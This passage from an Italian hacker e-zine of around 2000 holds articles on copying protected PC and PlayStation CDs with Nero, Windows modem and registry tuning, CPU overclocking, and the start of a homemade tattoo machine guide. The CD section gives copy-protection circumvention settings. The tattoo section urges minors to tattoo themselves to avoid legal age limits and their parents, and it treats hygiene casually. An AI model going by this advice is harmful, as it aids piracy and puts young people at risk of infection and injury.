questi 4 ke io ho elenkato sono i piu' komuni e facilmente risolvibili. Altri cd, pero', hanno protezioni un po' piu' konsistenti [ma nulla e' impossibile da kopiare…]. Kmq, nel kaso il vostro masterizzatore non fosse in grado di effettuare alkune delle operazioni deskritte sopra, vi konsiglio di utilizzare delle apposite patch, realizzate per permettere la kopia di un determinato software. Inoltre voglio aggiungere ke il NERO non e' certo il miglior programma per kopiare i cd protetti [anzi, fa quasi pena]; Purtroppo pero', la maggiorparte delle persone konoskono questo e quindi... Se potete, pero', cercate di prokurarvi dei bei programmini tipo BLINDREAD, PRASSI e ki kapisce kapisce... +------------------------------------+ |--3---COPIA DI CD PER PLAYSTATION---| +------------------------------------+ Non riesko a kapire kome mai, ankora, c'e' gente ke non riesce a masterizzare i cd per la play. Mah o io e Cubix [ueee] siamo troppo svegli, oppure siete voi ke siete dei K0gli0ni! No, skerzi a parte… molti tipi mi dikono: "sai ho fatto kosi' ma non esce, ho fatto kosi' ma niente, ecc. ecc" La kosa fondamentale, sekondo me, e' il supporto, soprattutto in rapporto al vostro masterizzatore. Voglio dire: se il vostro masterizzatore e' piuttosto vekkio, tipo 2x o kose simili, e' inutile ke andate a komprare i kazzo di bulk da 1600 lire ke il mast neanke li legge da vuoti, mi sono spiegato? Cio'e, sekondo la vostra mente, non e' piu' konveniente akquistare dei cd un po' piu' kari, ma almeno non buttarne via nessuno? Percio', per la play, -se avete un masterizzatore vekkio- vi konsilgio di akquistare cd di ottima qualita' tipo Kodak, che sono ORO. Kon un masterizzatore recente, invece, non dovreste inkontrare grosse diffikolta'; infatti potete utilizzare benissimo bulk anke a 6x o addirittura a 8x. Il procedimento kon NERO e' il seguente: 1- Immagine del cd -SEMPRE- quindi "copia al volo" disattivata 2- Nelle "opzioni di lettura" settare -se possibile- : - ignora TOC di tipo illegale - In caso di dati illegibili continua la copia - dati "modo1" e "modo2" forza lettura grezza scrivi senza correggere Credo di aver detto tutto! Kazzarola sono le 23.16 e devo ankora mangiare Va beh qualke saluto [ordine sparso, kome al solito] ->Roberta e Maurizio ke skassano sempre ;) ->Cubix e Stefax, uandestescion ->Andrea, vedi di dimagrire ->ddd3d e tedesko, anke se non siamo più kome una volta!!! ->Pikkio e LaraKraft, vi sposerete? ---AsAx--- ###################################### #+----------++----------++----------+# #| hArdWarE || hArdWarE || hArdWarE |# #+----------++----------++----------+# ###################################### -=!!!|-QuAnd0 iL m0dEm mEtTe lE aLi-|!!!=- ~~(mini guida all'ottimizzazione del modem e della connessione)~~ Autore: The Jackal Solita solfa... Io e l'Anarchy in the system (sia come gruppo che come singoli) non ci assumiamo nessuna responsabilita' per i danni che potrebbero verificarsi a seguito della lettura di questo articolo. Se non sapete "metterci le mani sopra", lasciate perdere... li' fuori ci sono molti programmi (alcuni richiamati anche in questo articolo) che fanno lo stesso lavoro, ma automaticamente. > ENTRO (??) Forse come sistema operativo Windows potra' anche non essere il massimo, ma, infondo, (IMHO), non e' neanche da buttar via... Il suo problema principale e' costituito dai settaggi. Infatti, partendo dalla configurazione di default (notoriamente instabile) e con un po' di smanettamento, si potra' ottenere un sistema operativo, se non perfetto, almeno passabile (soprattutto se valutato da un punto di vista generale). Dato che Windows, poi, nasce configurato per dare il meglio di se' in connessioni LAN, capirete bene quanto sia quasi "obbligatorio" mettere le mani anche sui settaggi del modem. Preparatevi, quindi, ad avventurarvi fra le tele del registro di configurazione ed andiamo ad incominciare... Prenderemo in considerazione un collegamento che avviene tramite linea telefonica o, per meglio dire, tramite un cavo, costituito da due connettori di rame, che risponde al nome di "doppino telefonico". I dati vengono instradati su Internet sotto forma di "pacchetti". Questi contengono, oltre naturalmente alle informazioni che si vogliono trasferire, un "header" di 40 bytes recante l'indirizzo di provenienza del pacchetto, la sua destinazine e la traccia del "routing". (Per i pochi che ancora non lo sanno, i pacchetti di dati non vengono spediti o ricevuti con un collegamento diretto fra lo spedente ed il ricevente, ma vengono instradati attraverso alcuni hosts che prendono il nome, appunto, di "routers"). C'e' da dire, poi, che i nostri computers, che sono notoriamente dei grandi analfabeti, riconoscono soltanto informazioni costituite da numeri in notazione binaria (ovvero informazioni codificate attraverso una sequenza predefinta di segni zero ed uno) e che queste vengono trasferite mediante un flusso di dati digitale, espresso in Kbyte per secondo. Fin qui tutto lineare... il problema sorge dal fatto che il telefono, invece, e' stato progettato per la trasmissione della voce sotto forma di un'onda elettrica, misurabile in Hertz. Ora, pur non essendo mai stato una cima in matematica, ricordo benissimo, all'elementari ed alle medie, tutte le serate passate a "tentare di capire" le trasformazioni matematiche. E se, al tempo come oggi, non si potevano trasformare i litri in kilogrammi senza adeguate formule di conversione, anche adesso, per trasformare il segnale da digitale del Pc ad analogico del telefono, si ha bisogno di un MODulatore in uscita e di un DEModulatore in entrata... appunto il MODEM. In soldoni, anche perche' non saprei spiegarvelo piu' dettagliatamente, il funzionamento del modem e' abbastanza lineare. Infatti esso associa ad ogni variazione dell'onda elettrica (piu' propriamente chiamata "onda portante") una serie di bit... modulando, cosi', il segnale digitale per renderlo digeribile alla linea telefonica e demodulandolo nel caso contrario. > "AT+MS"... (K'hai dettooo???) Prima di addentrarci all'interno del registro di configurazione, puo' tornare utile parlare un po' di determinate stringhe di programmazione che consentono di far eseguire al modem alcune operazioni utili. Sto parlando dei comandi AT (attention), indispensabili per forzare, ad esempio, il modem a connettersi ad una determinata velocita' o ad un determinato numero di telefono. Il piu' versatile ed importante di questi comandi e' "AT+MS". La sua stringa di programmazione e' cosi' composta: AT+MS=,,,,,, Andiamo a spiegare il significato delle sigle paramentro per parametro: indica la modalita' con cui il modem cerchera' di connettersi. Si tratta quindi di una stringa che ci permette di utilizzare un protocollo di connessione specifico. Impostando il valore a 56, forzeremo la connessione con il protocollo K56flex; impostando, invece, il valore a 12, otterremo una connesione con il protocollo V.90 Nei casi in cui vi troviate a navigare su linee particolarmente disturbate, potrebbe tornare utile settare il modem con il valore 11. Questo forzera' la connessione con il protocollo v.34 a 33600 bps. Una connessione di questo genere potrebbe risultare piu' performante su linee disturbate perche' non comporta conversioni di protocollo e perche' assicura una trasmissione dati continua. Se imposteremo il valora ad 1, il modem negoziera' con il computer remoto la velocita' di connessione ottimale. Partendo da quella massima, e qualora non riesca a connettersi, la ridurra' progressivamente fino a raggiungere un'ampiezza di banda ottimale. Impostando, invece, il valore a 0 (zero), il modem si tentera' di connettere solo alla massima velocita' impostata. Qualora non riesca, o fara' cadere subito la connessione o non si connettera' proprio. indica il limite minimo, in termini di velocita', con cui il modem si deve connettere. Se nella fase di transazione con il computer remoto il valora sara' minore di quello impostato, la connessione non verra' effettuata. indica la massima velocita' alla quale il modem puo' connettersi. Se la velocita' di connessione sara' maggiore, il modem si connettera' comunque a quella da noi specificata. e' un valore standard che per l'Europa e' fissato ad 1. E' utilizzato solo dalle linee americane... impostarlo a 0 (zero). indica la massima velocita' di trasmissione dati (upload) permessa al nostro modem. Questa e' la stringa di configurazione da me consigliata: AT+MS=12,1,300,50000,1,0,33600 Questa stringa e' ideale per i possessori di un US Robotics (infatti forza il protocollo V.90)... e solo per loro. La velocita' massima di connessione impostata e' di 50.000 bps. Penso che una velocita' maggiore sia possibile solo in casi particolarmente fortunosi... che, quindi, non prendo in considerazione. Per tutti gli altri tipi di modem (ma leggete sempre il manuale allegato), dovrete forzare il protocollo K56flex (valore 56). Per il resto, i valori sono gli stessi. Come ho detto poco piu' su', dovete tenere presente che questi parametri potrebbero non essere universali. Molti modem, infatti, potrebbero non supportare affatto questi comandi o prevederne altri specifici per il vostro modello. Il mio consiglio, quindi, e' di leggere PRIMA il manuale d'istruzioni e POI andare a provare questi comandi. Infine, la stringa ottimale per chi si connette su linee particolarmente disturbate e': AT+MS=11,1,300,33600,1,0,33600 Penso che ormai non abbia bisogno di spiegazioni... > Nei registri... Piccola premessa... Le informazioni che ora andro' a riportare, pur essendo ormai argomento fisso delle mie sperimentazioni, ab origine, non derivano da un mio studio sui registri di configurazione, ma da due siti in particolare. regedit.com e www.wintricks.com sono gli indirizzi web giusti per chi volesse ottimizzare non solo la connessione, ma tutto il Win 9x. Fra i due, devo dire che preferisco WinTricks. Infatti, oltre ad essere completamente in italiano (per chi proprio non ne vuole sapere d'imparare l'inglese), in materia di settaggi ed ottimizzazioni e' sempre aggiornatissimo sulle ultime novita' ed e' ricco di direct-download molto utili. In poche parole, il mio consiglio e' di visitarlo almeno una volta alla settimana... Inoltre, queste ottimizzazioni sono state da me provate su tutti i Windows che cominciano per 9... Non avendo, pero', il Windows 98 SE, tocchera' a voi questo compito. # MTU & MSS La sigla MTU abbrevia la frase "Maximum Transfer Unit". Indica, quindi, la massima quantita' di bytes che deve essere instradata all'interno di ogni pacchetto dati. Di default Windows setta il valore dell'MTU a 1500 bytes, rendendo ottime le transazioni all'interno di reti ethernet, ma pessime, o comunque perfettibili, quelle di tipo telefonico. Infatti, poiche' 1500 non e' divisibile per 576 (che e' il valore ottimo per l'MTU), i pacchetti dati vengono frammentati e rispediti piu' volte di quelle che sarebbero effettivamente necessarie in condizioni ottimali, rallentando, di conseguenza, la velocita' della vostra connessione. AVVERTENZA: Prima di operare qualsiasi modifica, fate un backup di tutto il registro di configurazione ed uno per ogni singola chiave che andrete a modificare. Prevenire e'meglio che curare!! (pubblicita' occulta??). Dato che non sono stato capace di scrivere qualcosa di altrettanto chiaro e schematico, la parte che segue l'ho liberamente ed arbitrariamente copiata ed incollata dal sito http://regedit.com, (spero che non mi dicano niente!!)... Il merito di tutto, quindi, e' solo il loro, io ho soltanto tradotto in italiano. 1. Prima di poter cambiare i settaggi dell'MTU, dovrete trovare le specifiche del vostro Dial-up Adapter. 2. Cercate la chiave [HKEY_LOCAL_MACHINE\Enum\Root\Net] dove, all'interno, ci saranno una o piu' sotto-chiavi come 0000,0001 ecc. 3. Aprite ciascuna di queste e trovate quella che, al suo interno, contiene il valore del 'DeviceDesc' uguale al valore del 'Dialup Adapter'. 4. All'interno di questa, poi, ci sara' un'altra sotto-chiave chiamata 'Bindings'. Apritela e troverete una stringa simile a 'MSTCP\0000'. Prendete nota dei quattro numeri dopo 'MSTCP' (in questo caso "0000") ed usateli nel prossimo passo. 5. Andate ora nella chiave [HKEY_LOCAL_MACHINE\Enum\Network\MSTCP] ed espandete la sotto-chiave che ha gli stessi quattro numeri che vi siete segnati nel passaggio precedente. 6. In questa chiave troverete un "valore" chiamato 'Driver' che sara' simile a 'NetTrans\0002'. Prendete nota anche di questi quattro numeri (nell'esempio "0002") ed usateli nel prossimo passaggio. Siete pronti per cambiare il valore dell'MTU... 7. Aprite ora la chiave [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans]. Espandete la sotto-chiave che ha gli stessi valori dei quattro numeri appena segnati. 8. All'interno di questa chiave create una nuova stringa e chiamatela 'MaxMTU'. Datele, poi, il valore di 576 e premete OK. Create anche un'altra stringa, chiamatela 'MaxMSS' e settate il suo valore a 536. 9. Uscite dal registro e riavviate la vostra macchina. NOTA: Sul sito www.wintricks.com ho visto che il valore consigliato per l'MTU e' di 548 e non di 576 (come appena scritto). Ho provato anche questo valore, ma ho avuto dei decrementi di prestazioni. Sicuramente, pero', il fatto e' dovuto al mio caro provider (uno privato e a pagamento)... a voi, comunque, l'ultima parola. # RWIN & TTL RWIN abbrevia la frase "Receive Windows". Indica il buffer massimo che il Pc deve riempire di dati prima di poter occuparsi di un'altra transazione TCP. Il TTL (Time To Live), invece, indica quanto tempo un pacchetto dati deve rimanere attivo prima che venga scartato. Mi spiego meglio... In pratica, ogni volta in cui un pacchetto dati viene instradato dallo spedente attraverso un numero imprecisato di router, il TTL viene diminuito nel valore. Quando il TTL raggiunge il valore zero, il pacchetto dati viene scartato ed un errore ICMP viene spedito al Pc dello spedente affinche' rispedisca il pacchetto. Capite bene come il valore di default del TTL (32) sia ormai troppo basso, soprattutto in considerazione della giungla di informazioni che circola attualmente nella Rete e del numero di router che, normalmente, un pacchetto "incontra" prima di giungere a destinazione. Per modificare i due valori, il percorso e' molto piu' breve e semplice di quello effettuato per l'MTU... Bene, dopo aver fatto il solito backup di tutto il registro ed averlo aperto con il comando Esegui--->regedit.exe, andate a posizionarvi all'interno della chiave [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP] qui, per modificare il valore dell'RWIN, create una nuova stringa (se esiste gia' modificatela soltanto) chiamandola "DefaultRcvWindows" (senza gli apici) e settate il valore a 4288. Per modificare, invece, il valore del TTL, create, sempre nella stessa chiave del registro, un'altra stringa (se esiste gia' modificatela soltanto) chiamandola "DefaultTTL" (senza gli apici) e settatela a 64 o 128... provate entrambi (ma uno alla volta!!), il valore ottimale, infatti, dipende anche dalla vostra linea. Fatto questo, uscite dal registro e riavviate il tutto. > Utilz & Progz Benvenuti nell'angolo del precotto. Questo angolino l'ho voluto riservare a chi non ha nessuna intenzione di andarsi a configurare la macchina con le sue manine, preferendo utilizzare qualche programmino compilato da altri e con un'interfaccia grafica intuitiva. Non vi faro', pero', la paternale piu' di tanto; infondo un po' tutti abbiamo iniziato con i programmi "gia' fatti"... fondamentale, almeno per come la vedo io, e' la curiosita' di sapere cosa si nasconde dietro quell'interfaccia grafica e come funziona. Il resto viene da solo... con il tempo. Partiamo dai programmi che vi permettono di ottimizzare l'MTU, l'RWIN e il TTL. Principalmente mi sento di consigliarvi due titoli. Il primo e' "Internet Boost"... ottima interfaccia grafica ed estrema facilita' di utilizzo. Il secondo e' "Net Lightening". L'ho anche provato per un po' di tempo e mi e' sembrato piu' completo. Vi permette di fare il backup del registro di configurazione, di ottimizzare (naturalmente) i valori presi in considerazione e di aggiungere gli indirizzi IP dei siti che vi interessano al file degli hosts... evitando, cosi', la ricerca del server DNS ad ogni connessione. Altra categoria di programmi utili ad accelerare le nostre operazioni sulla Rete e' quella dei "Multi Sockets Downloaders". Questa categoria non ha bisogno di presentazioni. Ormai software come Getright e Go!zilla la fanno da padroni e sono utilizzati da tutti i navigatori che abbiano una minima esperienza. Il funzionamento e' molto semplice, ma, contemporaneamente, geniale. Invece di aprire una singola "richiesta di download" (socket... tradotto nella maniera piu' semplice che sono riuscito a pensare) per quel singolo file, vengono aperti piu' sockets ed ognuno scarica un frammento del singolo file. Questo, naturalmente, rende il tutto piu' veloce soprattutto sui siti molto lenti o intasati. Altra caratteristica importante e' il "Resuming del download". Questa "utilita'" vi permette di interrompere il download del file per riprenderlo, poi, in qualsiasi altro momento. Anche diversi giorni dopo (sempre che il file non venga cancellato direttamente dal server remoto!! eheheheh!!). L'ultima categoria che prendero' in considerazione e' quella dei programmi che si occupano del "Prefetching". In soldoni, si occupano del download in locale delle pagine (o, piu' in generale, dei link) a cui potreste accedere dalla pagina web in cui siete. In questo modo, quando andrete a clikkare per caricare la pagina successiva, questa sara' gia' presente in locale e, quindi, vi fara' risparmiare tempo e soldi. Io non ne ho mai utilizzato uno. Ad ogni modo, dando un'occhiata alle classifiche dei vari siti che offrono programmi shareware (vedi shareware.com; download.con; tucows.com; ecc. ecc.), pare che "il piu' desiderato" di questa categoria di programmi sia "Net Sonic"... a voi, comunque, la ricerca di quella che piu' vi aggrada. > ESCO (!!) Anche questo articolo e' finito... Per insulti e qualsiasi tipo di lamentela, il mio indirizzo di posta elettronica e': b_gates@microsoft.com (non andateci pesanti perche' l'amico e' uno che se la prende facilmente :^)) Per complimenti e proposte di matrimonio: sciacallo@virgilio.it ---The Jackal--- -=!!!|-0VeRcL0CkInG TuT0RiaL-|!!!=- Autore: A-s-A-x Alimenti necessari al sostentamento: 3 sukki di frutta Musika askoltata: Blink 182 - Enema of the state ___________ 1-Perke' overclocking? 2-Nozioni di base 3-Proviamo l'overclock 4-Valori konsigliati di overclock ___________ 1-PERKE' OVERCLOCKING? E' una domanda un po' senza senso... kmq... 1)Sikuramente perke' grazie a tale tecnica possiamo avere un processore piu' veloce senza spendere money. 2)Sikuramente perke' vogliamo vedere ke succede quando e se un processore si brucia... =) 3)Sikuramente (per voi) perke' volete sentirvi 'guappi e dire: "Aho' me so elaborato il komputer"... mah... Concludendo con le kazzate, passo alle kose serie... L'overclocking teknikamente konsiste -in breve- nello spingere oltre i valori dikiarati la frequenza di funzionamento del processore, permettendoci kosi' di utilizzare un 350 Mhz kome se fosse un 400 Mhz. Kiaro? __________________ 2-NOZIONI DI BASE Overclokkare una CPU non e' una kosa partikolarmente difficile, tanto ke potrebbe riuscirci anke un bambino: mio kugino di 9 anni, infatti, ha portato il suo 133 alla frequenza di 500 Mhz e stranamente il processore non ha retto... mah... SKERZO :) Allora... per overclokkare una cpu dobbiamo saper operare su 3 kose fondamentali: *BUS *FATTORE DI MOLTIPLICAZIONE *TENSIONE DELLA CPU -Il bus, per ki non lo sapesse, e' il "mezzo" attraverso il quale komunikano tra loro le varie periferike. Variando la kosiddetta "Frequenza di bus" varia appunto la frequenza kon cui le periferike komunikano. Tale frequenza si varia settando determinati jumper ke si trovano sulla vostra skeda madre. Per fare cio' dovrete quindi konsultare il manuale. -Il fattore di moltiplicazione consiste semplicemente in un numero: proprio kome si deduce dal suo nome, moltiplicandolo per la frequenza di bus otterremo la frequenza desiderata della CPU. Ad esempio, se il fattore di moltiplicazione e' 5 e la freq. di bus e' 100 Mhz avremo 5 x 100 = 500 Mhz. Credo sia semplice... Anke in questo kaso dobbiamo intervenire sulla skeda madre per kambiare il valore del fattore di moltiplicazione. -La tensione della CPU e' ovvia: senza tensione il processore non si accende e quindi... Il valore di tensione varia da processore a processore e viene indicato in base alla frequenza di funzionamento. Il suo valore si kambia sempre attraverso la skeda madre kon appositi jumper, anke se su molte motherboard intel BX tale tensione non si puo' kambiare attraverso i normali metodi. Kmq nella tabella qui sotto riporto i valori delle tensioni in base ai vari tipi di processori: +----------------------------------------------------+ | CPU CORE I/O | +----------------------------------------------------+ |INTEL P54C 3.5 3.5 | |INTEL P55/MMX 2.8 3.3 | |CYRIX 6X86L 3.5 3.5 | |CYRIX 6X86Mx 2.9 3.3 | |AMD K5 3.5 3.5 | |AMD K6 0.35 3.2 3.3 | |AMD K6 0.25 2.2 3.3 | |AMD K6-2 2.2/2.1 3.3 | |AMD K7 ATHLON (0.25) 1.8/2.0 3.3 | |PENTIUM II (O.25) 2.0/2.2 3.3 | |PENTIUM III (O.25) 2.0 3.3 | |CELERON (MENDOCINO 0.25) 2.0/2.2 3.3 | +----------------------------------------------------+ ________________ 3- PROVIAMO L'OVERCLOCK Poniamo il kaso di avere un bel processore AMD K6-2 350 Mhz e di volerlo overclokkare: innanzitutto voglio precisare ke spingere oltre i 50 Mhz di overclock un K6-2 e' pratikamente impossibile -o quasi-. Io stesso ci ho provato kon risultati negativi... Quindi porteremo il nostro processore alla frequenza di 400 Mhz, scordatevi le favole, i kastelli, le principesse, i processori ke diventano 600... :) Per fare cio' operiamo in questo modo: settiamo -sempre attraverso i jumper presenti sulla skeda madre- la frequenza del bus a 100 Mhz e il moltiplikatore a 4.0. QUindi 100 x 4 = 400 Mhz... il gioko e' fatto... quasi... Infatti dobbiamo tenere konto di un fattore importantissimo anzi, fondamentale: la TEMPERATURA. Con l'innalzamento del clock di una CPU sale anke la sua temperatura. Dissiparla korrettamente e' di vitale importanza per l'inkolumità del processore e anke per il nostro lavoro: una CPU ke skalda e' anke una CPU ke kommette molti errori, fino ad arrivare al blokko totale del pc. Percio' terremo sempre sotto kontrollo la temperatura attraverso il bios -se possibile- e procederemo al fine di ottenere un ottimale smaltimento di temperatura. E' vivamente konsigliabile l'uso della pasta siliconica tra processore e dissipatore, dato ke komporta una conduzione del calore superiore a quella dell'aria. Fatto cio' riavvieremo il picci' e se tutto e' andato bene... la nostra CPU sara' diventata 400 Mhz. _______________ 4- VALORI KONSIGLIATI DI OVERCLOCK Insieme alla frequenza sono indikati fattore di moltiplicazione e frequenza di Bus. +-------------------------------------------------------- +--------------------------------------------------------+ |FREQUENZA OVERCLOCK OVERCLOCK | |ORIGINALE NORMALE LIMITE | +--------------------------------------------------------+ +--------------------------------------------------------+ |75 MHZ 90 MHZ 100 MHZ | | 1.5 X 60 1.5 X 66 | +--------------------------------------------------------+ |90 MHZ 112 MHZ 120 MHZ | | 1.5 X 75 1.5 X 83 | +--------------------------------------------------------+ |100 MHZ 133 MHZ 150 MHZ | | 2.0 X 66 2.0 X 75 | +--------------------------------------------------------+ |133 MHZ 166 MHZ 187 MHZ | | 2.0 X 83 2.5 X 75 | +--------------------------------------------------------+ |150 MHZ 187 MHZ 210 MHZ | | 2.5 X 75 2.5 X 83 | +--------------------------------------------------------+ |166 MHZ MMX 208 MHZ 233 MHZ | | 2.5 X 83 3.5 X 66 | +--------------------------------------------------------+ |200 MHZ MMX 225 MHZ 266 MHZ | | 3.0 X 75 3.5 X 75 | +--------------------------------------------------------+ |233 MHX MMX & 266 MHZ 292 MHZ | |PII 233 KLAMATH 3.5 X 75 3.5 X 83 | +--------------------------------------------------------+ |K6 266 MHZ 292 MHZ 333 MHZ | | 83 X 3.5 3.5 X 95 | +--------------------------------------------------------+ |PII 266 MHZ KLAMATH 300 MHZ 350 MHZ | | 3.0 X 100 3.5 X 100 | +--------------------------------------------------------+ |K6 300 MHZ 333 MHZ 350 MHZ | | 3.5 X 95 3.5 X 100 | +--------------------------------------------------------+ |PII 300 MHZ KLAMATH 333 MHZ 350 MHZ | | 3.5 X 95 3.5 X 100 | +--------------------------------------------------------+ |K6-2 333 MHZ 350 MHZ 380 MHZ | | 3.5 X 100 4.0 X 95 | +--------------------------------------------------------+ |PII 333 MHZ DESHUETES 400 MHZ 463 MHZ | | 4.0 X 100 4.0 X 133 | +--------------------------------------------------------+ |K6-2 350 MHZ 380 MHZ 400 MHZ | | 4.0 X 95 4.0 X 100 | +--------------------------------------------------------+ |PII 350 MHZ 392 MHZ 463 MHZ | | 3.5 X 112 4.0 X 133 | +--------------------------------------------------------+ |K6-2 400 MHZ 428 MHZ 450 MHZ | | 4.5 X 95 4.5 X 100 | +--------------------------------------------------------+ |PII 400 MHZ 448 MHZ 496 MHZ | | 4.0 X 112 4.0 X 124 | +--------------------------------------------------------+ |PII 450 MHZ 504 MHZ | | 4.5 X 112 | +--------------------------------------------------------+ Aahuuuffffff, ho finito... Ciao Ciao... ---A-s-A-x--- ########################################################################### ####### GGGG OOO OOO DDD SSSS TTTTTT U U FFFFFF FFFFFF ####### ####### G O O O O D D S TT U U F F ####### ####### G GG O O O O D D SSSS TT U U FFF FFF ####### ####### G G O O O O D D S S TT U U F F ####### ####### GGGG OOO OOO DDD SSSS TT UUUU F F ####### ########################################################################### -=!!!|-tAt0o mAcHiNe-|!!!=- Autore: dR`sP3nKy RoKKa CenCia 27-28-29/o3/2ooo Sa-sal-ve! Oggi son kui per rompervi di nuovo i coyoni !!! [ applausi ] Ciao a : JaMMinA [ yuppie sei ritornata!...ci sentiamo stasera ] Lella [ ti adoro kucciola! ] zapotecz [ bella bRoDerE! ] gouranga [ cerka cerka...W le kospirazioni !!! ] vecna [ away away oggi... ] ]PcrK[ [ bella! ] lilì, Eva, erGoline,tutto aIS ! [ we', ma riusciremo ad essere tutti su #aisprod un giorno ? ], Daniele , Marco e Lillo , Bestia , Pippo e gli Atra [ siete sempre i mejo ]. -x Indice x- (1) -x Storia. (2) -x Legge Kontro il Tatoo Oggi. (3) -x Pro e Contro. (4) -x Necessario Per Costruire la Makkinetta. (5) -x Necessario per Tatuare. (6) -x Come si kostruisce La makkinetta per Tatuare : - 6.o il fregnetto attakkato al perno del motorino. - 6.1 La cannuccia. - 6.2 Kome mettere l`ago. (7) -x Assemblaggio. (8) -x Se tatuiamo a casa. (10) -x Procedura Pre-Tatu. (11) -x Si tatua !!! Dedico kuesto artikolo a un punk [ oi! ]...e' stato lui a farmi capire kome funziona una di kuelle makkinette per i tatuaggi fatte in casa. Sikuramente non mi si rikordera' perke' mi ha visto a Giugno `99 l'ultima volta.....io sono l`uomo Pila! Dedico anke kuesto articolo a N0bodY88 un mio caro amico che purtroppo vedo poko poko....fatti vedere bRoT !! Tutto komincio' in una calda mattinata...il primo Maggio per essere precisi... scesi dal Treno,inkappati in una manifestazione dei Verdi...[mi pare], comprata una Peroni in un bar per ricchi (4.ooo £ mortacci loro !!!) siamo giunti in piazza kon i nostri scarponi stretti e scomodi, dopo aver preso una scorciatoia ke si e' rivelata un giro turistico ke non aveva nulla da invidiare ad una maratona (kuesto perke' bisogna fidarsi degli amici....). Ecco, kui mi e' apparsa per la prima volta una makkinetta fatta in kasa per fare i tatuaggi. Vabbe'...dopo kuesta frasona influenzata forse da uno stile cesariano[ se si dice kosi' ], kominciamo. [ basta kon gli applausi ] (1) -x Storia x- E' una traccia indelebile che conduce ad un ostinato segreto ed e' talmente remoto da non aver lasciato impronta nella nostra memoria. Tuttavia l'archeologia ne ha recuperato le tracce lontane, perdute nei millenni del passato, mediante la scoperta, avvenuta nel 1947 in Siberia, di un corpo ibernato di un guerriero scita eccezionalmente tatuato. Ma altri reperti rimandano a un'epoca ancora piu' antica. Infatti il rinvenimento di alcuni utensili legati alla pratica del tatuaggio testimonia che questa usanza era gia' esistente nel neolitico europeo. Se l'origine rinvia sempre a qualcosa d'altro, il guerriero scita come gli utensili neolitici indicano certamente un senso della funzione del tatuaggio. Se l'arte di tatuare il corpo era gia' del neolitico europeo, ancora oggi nelle regioni della Melanesia, della Polinesia e della Micronesia, la pratica del tatuaggio e' estremamente diffusa ed esprime un notevole livello estetico e, contemporaneamente, costituisce un forte elemento di coesione sociale. Proprio da queste regioni lontane, precisamente dall'isola di Tahiti, la principale tra le Isole del Vento, deriva la parola tatuaggio. Nella lingua tahitiana "Tatu" significa "ferita" o, ancora meglio, "disegno battuto" Questo termine che noi traduciamo "tatuaggio" e' stato introdotto in Europa dal capitano Cook, al rientro dalla spedizione dai Mari del Sud nel luglio 1769. Si conoscono tre specie di tatuaggi: 1) Per scarificazione (incisione della pelle, diffusa nelle popolazioni dove la pigmentazione della pelle e' fortemente scura) 2) Per cucitura (tramite un ago a cruna e un filo intriso di tintura vegetale) 3) Quest'ultima ampiamente praticata, quella per puntura (eseguita gia' nel neolitico per mezzo di un osso o stilo appuntito, in una serie di punture che seguono i tratti del disegno impresso sulla pelle e depositano sotto la cute sostanze colorate). Probabilmente il tatuaggio e' stato inventato piu' volte in luoghi e tempi diversi. I tatuaggi primitivi, come quelli del guerriero scita, ci dicono di immagini e disegni, linee e curve sulla pelle a trame tatuate, di arcane potenze che attraggono e respingono, che uniscono e separano, riportandoci il testo della norma sociale d' un tempo, l' iscrizione sul corpo di un'avvenuta iniziazione dell' individuo alla cultura degli antenati. Il tatuaggio primitivo svolge in prevalenza una funzione di riconoscimento e, come la pittura corporale, assume un senso sia magico-religioso sia ornamentale, vincolato in strutturate complessioni alla cultura che l'esprime. La pratica del tatuaggio trova ragione d' essere nella coesione della vita sociale del gruppo, nel "corpo sociale", e ci indica il silenzioso e remoto desiderio dell'invisibile che si produce attraverso l'idea dell'infinito. La scarificazione della pelle, questa eroica ferita cesellata sul corpo di cui traccia i limiti e, altresi', il corpo iscritto nel tatuaggio, sono da intendersi quale inevitabile istanza di separazione dall'Altro, di mistero dell'Altro, ma pur sempre indizio, traccia che rivela la necessita' di strappare ritualmente e definitivamente il corpo dalla totalita' originaria della natura, della nascita e della morte. Il segno a valenza sociale del tatuaggio primitivo, cosi' indelebilmente impresso sul corpo, e' spesso accompagnato nei riti di iniziazione all'assegnazione di un nuovo nome, certificando in tal modo la nuova identita'e il nuovo status dell' individuo. Mistica senza divino, il tatuaggio modifica pelle come elemento in cui natura e cultura si confondono, similitudine e metafora s'intersecano: la pelle diventa cosi' tessuto somigliante nelle trame tatuate sempre piu' ad un abito, disvelando e ricoprendo ad un tempo la nudita'. emh....si kui il tono e' kambiato.....non sono stato io a scrivere il paragrafo della storia del Tatu....ce l`ho messo perche' mi sembrava interessante capire da dove e' spuntato fuori il Tatu. Non rikordo il sito da dove ho preso la storia del tatoo..ce ne sono talmente tanti in rete.... La storia invece della makkinetta e' molto + recente....non so ki se la sia inventata...ma e' molto in uso fra noi punx...oi oi oi s.P.q.R. pUnX! (2) -x Legge Kontro il Tatoo Oggi x- I tatuaggi oggi sono vietati ai minori di 18, anke se i tatuatori non staranno a kiederevi kuanti anni avete....kuindi se siete minorenni la makkinetta per i tatuaggi e' un modo per non pagare nulla e non kiedere nulla ai vostri genitori...vabbe'...accennategli kualkosa.....entrare in kasa kon un tatoo senza ke i genitori lo sanno non e' una buona kosa. (3) -x Pro e Contro x- Non ci sono ne pro e e contro...vabbe' usate un minimo di pulizia.....non vi fate i tatoo dentro un cesso pubblico....l'uniko Pro della makkinetta oltre al kosto zero e' ke vi potete fare tatuaggi kuando volete...per strada, a casa dell'amica, etc etc... Ah....per i + lesi....la makkinetta e' portatile! (4) -x Necessario Per Costruire la Makkinetta x- Per kostruire la makkinetta e' necessario avere : - Un motorino...tipo kuello del walkman rotto va benissimo...se ne trovate altri + veloci sono ankora meglio. - Fili elettrici. - Saldatore ( non estremamente necessario ). - Attash...vabbe' si non so kome si scrive...sarebbero le grappette, kuelle per tenere uniti i fogli. - Un cucchiaino leggero e non pesante....kmq sia non molto robusto. - Penna vecchia tipo Bic kompresa la kannuccia. - Ago fino fino. - Ago o asta di ferro fina ma + grande dell`ago fino. - Nastro Adesivo ( possibilmente verde...grEEn poWer..hehe :) ). - Colla al cianuro tipo Attack[ate a 'sto cazzo!]. - Batterie, kualsiasi tipo ke faccia girare il motorino velocemente [ se volete soffrire di meno ] o kuando vi trovate a casa Trasformatore regolabile. --x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x-- (5) -x Necessario per Tatuare x- - Inkiostro nero Rotring..la stessa marca ke fa le gomme da cancellare.. komprate solo il Rotring poiche' viene assorbito bene 